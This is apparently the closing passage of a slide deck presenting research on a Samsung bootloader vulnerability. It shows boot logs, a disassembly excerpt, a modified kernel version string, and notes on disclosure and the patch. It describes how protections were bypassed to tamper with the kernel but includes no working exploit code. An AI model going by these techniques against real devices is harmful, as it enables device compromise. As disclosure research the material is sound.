The error was within the fs\_mgr\_mount\_all function

This error message suggested that the userdata partition could not be decrypted

This strongly implied that key storage was not enabling properly

# Additional Errors

Analysing the logs prior to boot found that multiple hardware initialisations were being performed twice, including keystorage

This was due to Fastboot requiring them for other purposes

The second initialisation would fail, and break the rest of the process

[0:	4.865794 ]	keystorage:	read whole partition from the storage
[0:	4.865799 ]	keystorage:	[SB_ERR] ret = [0xFDAA0010]
[0:	4.865803 ]	keystorage:	init failed.

[0:	5.173361 ]	[TEEGRIS]	register	handler1,	ret	=	0xFFFFFFF
[0:	5.173369 ]	[TEEGRIS]	register	handler2,	ret	=	ØxFFFFFFF

# Additional Errors

Both keystorage and TEE functions were enabled by a large, complex function

This was fully reimplemented, with the functions removed

With the errors removed, the phone could complete booting to Android

	LAB_f88027fc		XREF[1]:
f88027fc c3 0c 00 94	bl	<pre>secure_payload_init_upper</pre>	
f8802800 8a ff ff 97	bl	unknown_func_min4_7	
f8802804 41 d3 01 94	bl	unknown_func_min4_8	
f8802808 44 d9 01 94	bl	<pre>register_handler1_data2</pre>	
f880280c 27 f2 01 94	bl	unknown_func_min4_9	
f8802810 de ea 01 94	bl	unknown_func_min4_10	
f8802814 a1 09 00 90	adrp	<pre>x1=&gt;DAT_f8936000,0xf8936000</pre>	
f8802818 20 f4 0c b9	str	<pre>w0,[x1, #0xcf4]=&gt;DAT_f8936cf4</pre>	
f880281c c3 e4 01 94	bl	FUN_f887bb28	

# Demo

# Android Modification

It was possible to modify the Android image at any point prior to Kernel execution

With the arbitrary memory read/write vulnerability, this would be trivial

The Kernel could be modified without triggering protection mechanisms

a04s:/ \$ cat /proc/version Linux version 4.19.198-25467655-abA047FXXU1BVK5 (HACKED K7B24) (Android (6443078 based on r383902) bee898b79), LLD 11.0.1 (/buildbot/tmp/tmp6\_m7QH b397f81060ce6d701042b782172ed13bee898b79)) #1 SMP a04s:/ \$

# Final Notes

As the exploit could now be triggered using an exception, any boot mode could be used

This meant even vulnerable Samsung devices without Fastboot could be exploited

While code execution was possible in the Kernel, there was still a risk of triggering KNOX

# Disclosure

The initial vulnerability was disclosed to Samsung in December 2022

Samsung provided constant updates on progress, and patched the finding within three months

The target device was updated, and found to no longer be vulnerable to the Descriptor Overwrite vulnerability

Tools will be released demonstrating the outlined exploit

# Conclusion

Most devices will still have exploitable vulnerabilities, despite the resources used to mitigate against them

Even with basic vulnerabilities, the effort required to go from a proof-of-concept to a full exploit can be extremely rewarding

Even on targets which have had a huge amount of research performed on them, there will still be a vector no one else has tried